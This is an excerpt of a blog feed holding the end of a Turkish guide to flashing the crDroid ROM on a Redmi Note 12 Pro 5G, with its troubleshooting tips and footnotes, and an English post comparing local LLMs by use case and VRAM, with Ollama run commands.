&lt;li&gt;Terminalden cihaz&amp;inodot; yeniden ba&amp;scedil;latmak i&amp;ccedil;in &amp;scedil;u komutu gir:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;fastboot&lt;span class="w"&gt; &lt;/span&gt;reboot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Idot;lk a&amp;ccedil;&amp;inodot;l&amp;inodot;&amp;scedil; crDroid animasyonu ile ger&amp;ccedil;ekle&amp;scedil;ecek ve normalden biraz uzun s&amp;uuml;rebilir. Cihaz a&amp;ccedil;&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot;nda kurulum ekran&amp;inodot;n&amp;inodot; tamamlay&amp;inodot;p sim kart&amp;inodot;n&amp;inodot; takt&amp;inodot;&amp;gbreve;&amp;inodot;nda &amp;scedil;ebekenin ya&amp;gbreve; gibi akt&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; g&amp;ouml;receksin.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="olas-hatalar-ve-cozumleri-edge-cases_1"&gt;🚫 Olas&amp;inodot; Hatalar ve &amp;Ccedil;&amp;ouml;z&amp;uuml;mleri (Edge Cases)&lt;a class="headerlink" href="#olas-hatalar-ve-cozumleri-edge-cases" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cihaz S&amp;uuml;rekli Recovery'e Geri D&amp;ouml;n&amp;uuml;yor (Bootloop):&lt;/strong&gt;
    Ad&amp;inodot;m 4'te anlat&amp;inodot;lan &lt;strong&gt;Format Data&lt;/strong&gt; i&amp;scedil;lemini yapmam&amp;inodot;&amp;scedil; veya&lt;code&gt;yes&lt;/code&gt; yazarak onaylamam&amp;inodot;&amp;scedil; olabilirsin. Recovery'e girip Format Data i&amp;scedil;lemini tekrarlarsan cihaz&amp;inodot;n sorunsuz a&amp;ccedil;&amp;inodot;lacakt&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GApps Y&amp;uuml;klenirken Hata Veriyor (Error 1):&lt;/strong&gt;
    Ad&amp;inodot;m 6'daki kural&amp;inodot; atlay&amp;inodot;p, ROM fla&amp;scedil;land&amp;inodot;ktan hemen sonra recovery'i yeniden ba&amp;scedil;latmadan GApps fla&amp;scedil;lamaya &amp;ccedil;al&amp;inodot;&amp;scedil;m&amp;inodot;&amp;scedil;s&amp;inodot;n demektir. Cihaz&amp;inodot; recovery modunda yeniden ba&amp;scedil;lat&amp;inodot;p GApps zip dosyas&amp;inodot;n&amp;inodot; tekrar fla&amp;scedil;lamay&amp;inodot; dene.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sideload S&amp;inodot;ras&amp;inodot;nda "/metadata/ota no such file or directory" Uyar&amp;inodot;s&amp;inodot;:&lt;/strong&gt;
    Bu uyar&amp;inodot; tamamen zarars&amp;inodot;zd&amp;inodot;r ve panik yapmaya gerek yoktur. Format Data i&amp;scedil;leminden sonra metadata b&amp;ouml;l&amp;uuml;m&amp;uuml;ndeki OTA klas&amp;ouml;r&amp;uuml; silindi&amp;gbreve;i i&amp;ccedil;in recovery bu uyar&amp;inodot;y&amp;inodot; g&amp;ouml;sterir. Bilgisayar ekran&amp;inodot;nda&lt;code&gt;serving: ...&lt;/code&gt; y&amp;uuml;zdesi ilerledi&amp;gbreve;i s&amp;uuml;rece y&amp;uuml;kleme sorunsuz devam ediyor demektir, kabloyu kesinlikle s&amp;ouml;kme.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fastboot Modunda Cihaz&amp;inodot;n G&amp;ouml;r&amp;uuml;nmemesi (Waiting for Device):&lt;/strong&gt;
&lt;code&gt;fastboot devices&lt;/code&gt; komutu bo&amp;scedil; d&amp;ouml;n&amp;uuml;yor veya&lt;code&gt;&amp;lt; waiting for any device &amp;gt;&lt;/code&gt; hatas&amp;inodot;nda kal&amp;inodot;yorsa, bu durum Windows Fastboot s&amp;uuml;r&amp;uuml;c&amp;uuml;lerinin eksikli&amp;gbreve;inden veya USB 3.0/Ryzen uyumsuzlu&amp;gbreve;undan kaynaklan&amp;inodot;r. S&amp;uuml;r&amp;uuml;c&amp;uuml;leri g&amp;uuml;ncellemek i&amp;ccedil;in Ayg&amp;inodot;t Y&amp;ouml;neticisi'ne girip sar&amp;inodot; &amp;uuml;nlemli cihaz&amp;inodot;na sa&amp;gbreve; t&amp;inodot;klayarak &lt;strong&gt;S&amp;uuml;r&amp;uuml;c&amp;uuml;y&amp;uuml; G&amp;uuml;ncelle&amp;scedil;tir -&amp;gt; S&amp;uuml;r&amp;uuml;c&amp;uuml; yaz&amp;inodot;l&amp;inodot;m&amp;inodot; i&amp;ccedil;in bilgisayar&amp;inodot;m&amp;inodot; tara -&amp;gt; Bilgisayar&amp;inodot;mdaki kullan&amp;inodot;labilir s&amp;uuml;r&amp;uuml;c&amp;uuml;ler listesinden se&amp;ccedil;meme izin ver&lt;/strong&gt; ad&amp;inodot;mlar&amp;inodot;n&amp;inodot; izle. Oradan &lt;strong&gt;Android Bootloader Interface&lt;/strong&gt; s&amp;uuml;r&amp;uuml;c&amp;uuml;s&amp;uuml;n&amp;uuml; el ile g&amp;ouml;stererek y&amp;uuml;kleyebilirsin. Ayr&amp;inodot;ca mavi renkli USB 3.0 portlar&amp;inodot; yerine varsa USB 2.0 portlar&amp;inodot;n&amp;inodot; oradaki pratik batch scriptini veya arada bir USB Hub kullanmay&amp;inodot; dene.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SIM Kart Tak&amp;inodot;l&amp;inodot; Olmas&amp;inodot;na Ra&amp;gbreve;men "Mobil A&amp;gbreve; Kullan&amp;inodot;lam&amp;inodot;yor" ve Anabant "Bilinmiyor" Hatas&amp;inodot;:&lt;/strong&gt;
    MediaTek i&amp;scedil;lemcili bu cihazda bootloader kilidi a&amp;ccedil;&amp;inodot;k oldu&amp;gbreve;unda modem g&amp;uuml;venlik protokol&amp;uuml; nedeniyle kendini devre d&amp;inodot;&amp;scedil;&amp;inodot; b&amp;inodot;rak&amp;inodot;r. Ad&amp;inodot;m 8'deki &lt;strong&gt;Bootloader Spoofing&lt;/strong&gt; ad&amp;inodot;mlar&amp;inodot;n&amp;inodot; uygulad&amp;inodot;&amp;gbreve;&amp;inodot;ndan ve terminalde&lt;code&gt;Bootloader spoofing enabled.&lt;/code&gt; &amp;ccedil;&amp;inodot;kt&amp;inodot;s&amp;inodot;n&amp;inodot; ald&amp;inodot;&amp;gbreve;&amp;inodot;ndan emin ol.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;G&amp;ouml;z&amp;uuml;n ayd&amp;inodot;n dostum, art&amp;inodot;k Redmi Note 12 Pro 5G cihaz&amp;inodot;nda en g&amp;uuml;ncel ve hafif crDroid aray&amp;uuml;z&amp;uuml;n&amp;uuml; deneyimlemeye haz&amp;inodot;rs&amp;inodot;n. Kurulum s&amp;inodot;ras&amp;inodot;nda tak&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot;n bir yer olursa sormaktan &amp;ccedil;ekinme.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Ruby, Redmi Note 12 Pro 5G modelinin kod ad&amp;inodot;d&amp;inodot;r; rubyx ise custom ROM d&amp;uuml;nyas&amp;inodot;nda Note 12 Pro 5G, Pro+ 5G ve Discovery modellerini birle&amp;scedil;tiren ortak a&amp;gbreve;a&amp;ccedil; ad&amp;inodot;d&amp;inodot;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;GApps (Google Apps), Google Play Store ve ili&amp;scedil;kili servisleri bar&amp;inodot;nd&amp;inodot;ran paketlerdir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;Magisk, sistem dosyalar&amp;inodot;n&amp;inodot; kal&amp;inodot;c&amp;inodot; olarak bozmadan cihaz&amp;inodot; rootlamaya yarayan a&amp;ccedil;&amp;inodot;k kaynakl&amp;inodot; bir ara&amp;ccedil;t&amp;inodot;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:4"&gt;
&lt;p&gt;Y&amp;uuml;cel Toluyag'&amp;inodot;n daha &amp;ouml;nce kaleme ald&amp;inodot;&amp;gbreve;&amp;inodot; &lt;a href="/redmi-note-8-pro-custom-rom-kurulumu/"&gt;Redmi Note 8 Pro Custom ROM Kurulumu&lt;/a&gt; rehberi.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:4" title="Jump back to footnote 4 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:5"&gt;
&lt;p&gt;Bootloader durumunu kilitli g&amp;ouml;stererek modem/baseband kilidini a&amp;scedil;may&amp;inodot; sa&amp;gbreve;layan Roger Ortiz imzal&amp;inodot; &amp;ouml;zel yama dosyalar&amp;inodot;d&amp;inodot;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:5" title="Jump back to footnote 5 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sorun Giderme"/><category term="Android"/><category term="Custom ROM"/><category term="crDroid"/><category term="Xiaomi"/><category term="Root"/><category term="Redmi Note 12 Pro"/></entry><entry><title>Best Local LLM Models (2026): Which One Should You Choose?</title><link href="https://yuceltoluyag.github.io/en/en-iyi-yerel-llm-modelleri-2026/" rel="alternate"/><published>2026-06-04T23:00:00+03:00</published><updated>2026-06-04T23:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-04:/en/en-iyi-yerel-llm-modelleri-2026/</id><summary type="html">&lt;p&gt;In 2026, we examine the models dominating the local AI world (DeepSeek R1, Llama 4, Qwen 3, Gemma 4) based on different use cases and hardware requirements.&lt;/p&gt;</summary><content type="html">&lt;p&gt;The other morning, while sipping my coffee at my desk, I decided to clean up the local models on my disk. 💻 When I went into the Ollama folder, I couldn't believe my eyes: dozens of different Llama, Qwen, and Gemma versions were taking up gigabytes of space, filling up my drive. I asked myself, "Y&amp;uuml;cel, why are you keeping all of these, which one actually works?" Then I thought; many developers like me are also experiencing confusion about which model to choose in the local AI world.&lt;/p&gt;
&lt;p&gt;If you also want to switch to local AI but don't know which model to pick, or if you are looking for the model that will get the maximum efficiency out of your graphics card's memory (VRAM), you are in the right place, my friend. 🚀 Let's examine the best of local AI together.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="the-big-picture-what-has-changed-since-2025"&gt;The Big Picture: What Has Changed Since 2025?&lt;a class="headerlink" href="#the-big-picture-what-has-changed-since-2025" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In most practical tasks, the gap between cloud services and local models has almost closed. A well-tuned local 32B (billion parameter) model has become competitive with GPT-4o in daily tasks. So, what's new in this process?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DeepSeek R1&lt;/strong&gt; proved that open-source reasoning models can compete with the top tier (with high scores like 97.3% success in the MATH-500 test).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Llama 4&lt;/strong&gt; standardized built-in multimodal (image/text) support and a massive 10-million-token memory limit in the local space.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Qwen 3&lt;/strong&gt; solidified its throne with Turkish support, coding skills, and a new step-by-step thinking mode.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gemma 4&lt;/strong&gt; stood out as Google's lightweight yet highly capable model offering high speed on consumer-grade hardware.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MoE (Mixture of Experts) Architecture&lt;/strong&gt; is now standard. Thus, we can reach the quality of 70-billion-parameter models with only 17 billion active parameters.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="comparison-of-the-best-models"&gt;Comparison of the Best Models 📊&lt;a class="headerlink" href="#comparison-of-the-best-models" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="deepseek-r1-the-pinnacle-of-reasoning"&gt;DeepSeek R1 &amp;mdash; The Pinnacle of Reasoning&lt;a class="headerlink" href="#deepseek-r1-the-pinnacle-of-reasoning" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;DeepSeek R1 caused an earthquake in the AI world in early 2025. It offered GPT-o1 level reasoning skills at a much lower training cost. Its biggest plus: when you ask the model a question, you can see how it thinks behind the scenes (chain-of-thought) step-by-step. To learn how to run this model on your local system in the most efficient way, you can follow my &lt;a href="/en/yerel-llm-kurulum-rehberi-2026/"&gt;Self-Hosted AI (2026)&lt;/a&gt; setup guide.&lt;/p&gt;
&lt;p&gt;Thanks to distilled versions, we can also run this power on our home computers:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Model Size&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Required VRAM&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ideal Use Case&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;7B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;6 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Fast reasoning on laptops&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;14B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;9 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Price/performance pinnacle for mid-range systems&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;32B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;20 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Complex mathematics and logic problems&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Visualized thinking phases are incredibly useful, especially when debugging or building mathematical logic. Also, being distributed under the MIT license means we can use it completely freely in commercial projects.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ollama Command:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;deepseek-r1:14b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="llama-4-multimodal-and-massive-context"&gt;Llama 4 &amp;mdash; Multimodal and Massive Context&lt;a class="headerlink" href="#llama-4-multimodal-and-massive-context" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Meta's Llama 4 series comes with two main options for local use:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Llama 4 Scout:&lt;/strong&gt; 109B total, 17B active parameters. It has a 10-million-token memory limit and can run with 24GB of VRAM.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Llama 4 Maverick:&lt;/strong&gt; 400B total, 17B active parameters. It offers the highest quality but requires dual GPUs.&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Llama 4 is the most successful model locally that can both read images/graphics and keep books full of documents in its memory.&lt;/p&gt;
&lt;p&gt;The only issue is the hardware requirement. While the Scout version can run on a single RTX 4090, Maverick requires dual graphics cards or a powerful Mac Studio Ultra.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ollama Command:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;llama4:scout
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="qwen-3-general-use-and-coding-king"&gt;Qwen 3 &amp;mdash; General Use and Coding King&lt;a class="headerlink" href="#qwen-3-general-use-and-coding-king" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Alibaba's Qwen series is the industry leader in quality-per-VRAM. Qwen 3 also brings a built-in thinking mode with the &lt;code&gt;/think&lt;/code&gt; option.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Model Size&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Required VRAM&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ideal Use Case&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;7B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;5 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Budget coding tasks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;14B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;9 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Daily general use&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;32B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;20 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Professional coding assistant&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;72B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;44 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Server and enterprise solutions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Its coding skills are truly fantastic. The Qwen 2.5 Coder 32B version produces cleaner and more functional code than models three times its size. Additionally, its Turkish language proficiency is quite high.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ollama Command:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;qwen3:32b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="gemma-4-speed-and-efficiency-champion"&gt;Gemma 4 &amp;mdash; Speed and Efficiency Champion&lt;a class="headerlink" href="#gemma-4-speed-and-efficiency-champion" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Google's Gemma 4 model is a total speed demon. The 27B parameter MoE model can generate 85 words (tokens) per second on consumer-grade graphics cards.&lt;sup id="fnref:4"&gt;&lt;a class="footnote-ref" href="#fn:4"&gt;4&lt;/a&gt;&lt;/sup&gt; There is no other alternative that offers this quality at this speed.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Model Size&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Required VRAM&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ideal Use Case&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;1B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Small smart devices&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;4B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;4 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Ultra-fast responses&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;27B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;14 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Where speed meets quality&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;If having the AI respond to you instantly is your highest priority, Gemma 4 will be the most logical choice for you.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ollama Command:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;gemma3:27b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="decision-matrix_1"&gt;Decision Matrix ⚙️&lt;a class="headerlink" href="#decision-matrix" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Trying to use a single model for different tasks is like trying to assemble all the furniture in your house with just a single Swiss Army knife. Here is the decision matrix showing which model to turn to for which task:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Your Need&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Best Model&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Highlighted Reason&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Coding&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Qwen 2.5 Coder 32B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;92.7% HumanEval success, clean code generation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Math &amp;amp; Reasoning&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;DeepSeek R1&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Ability to show step-by-step thinking phases&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Image &amp;amp; Chart Reading&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Llama 4 Maverick&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Built-in multimodal support&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Long Document Analysis&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Llama 4 Scout&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Massive 10-million-token memory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;High Speed&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Gemma 4 27B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;85 tokens per second generation capacity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;General Chat&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Qwen 3 32B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Stability in VRAM/Intelligence ratio&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Low Hardware (8GB VRAM)&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Llama 3.1 8B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;High efficiency with 5 GB VRAM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Enterprise Use&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Qwen 3 72B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Strong infrastructure and open license&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="gpu-and-hardware-matching"&gt;GPU and Hardware Matching 🛠️&lt;a class="headerlink" href="#gpu-and-hardware-matching" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For memory bandwidth of graphics cards and pricing details, you can check out my article on &lt;a href="/en/yerel-llmler-icin-en-iyi-gpu-2026/"&gt;Best GPUs for Local LLMs (2026)&lt;/a&gt;. Here are the models you can choose based on the card you have:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Your Graphics Card&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Most Logical Models You Can Run&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;4 - 6 GB&lt;/strong&gt; (GTX 1650 / 1060)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Gemma 3 1B, Llama 3.2 3B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;8 GB&lt;/strong&gt; (RTX 3060 / 4060)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Llama 3.1 8B, Qwen 2.5 7B, DeepSeek R1 7B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;12 GB&lt;/strong&gt; (RTX 4070)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Qwen 3 14B, DeepSeek R1 14B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;16 GB&lt;/strong&gt; (RTX 4080)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Qwen 2.5 14B, DeepSeek R1 14B, Gemma 3 27B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;24 GB&lt;/strong&gt; (RTX 4090)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Qwen 3 32B, DeepSeek R1 32B, Llama 4 Scout&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;48 GB+&lt;/strong&gt; (RTX 6000 / Dual GPU)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Qwen 3 72B, Llama 4 Maverick, DeepSeek R1 70B&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="my-daily-setup"&gt;My Daily Setup 💡&lt;a class="headerlink" href="#my-daily-setup" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For those who are curious, let me also share where I use which models in my own workflow. If you want to connect your local models to editors like VS Code and automate your daily coding process, you can benefit from my &lt;a href="/en/yerel-ai-kurulum-rehberi-lm-studio-vs-code/"&gt;Local AI Setup Guide (LM Studio &amp;amp; VS Code)&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Morning Code Review:&lt;/strong&gt; Qwen 3 32B. Quite successful when analyzing the codebase.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Article and Document Review:&lt;/strong&gt; Llama 4 Scout. It can load long PDF files into its memory in one go.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Complex Algorithm Solutions:&lt;/strong&gt; DeepSeek R1 14B. Watching the thinking steps allows me to spot logic errors.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quick Daily Questions:&lt;/strong&gt; Gemma 3 12B. The word speed it delivers per second is massive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Agent Automations:&lt;/strong&gt; Qwen 3 with &lt;code&gt;/think&lt;/code&gt; mode enabled.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="test-your-own-model-performance-benchmarks"&gt;Test Your Own Model (Performance Benchmarks) ⚙️&lt;a class="headerlink" href="#test-your-own-model-performance-benchmarks" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You don't have to trust the official published numbers. You can run your own benchmarks on your hardware.&lt;/p&gt;
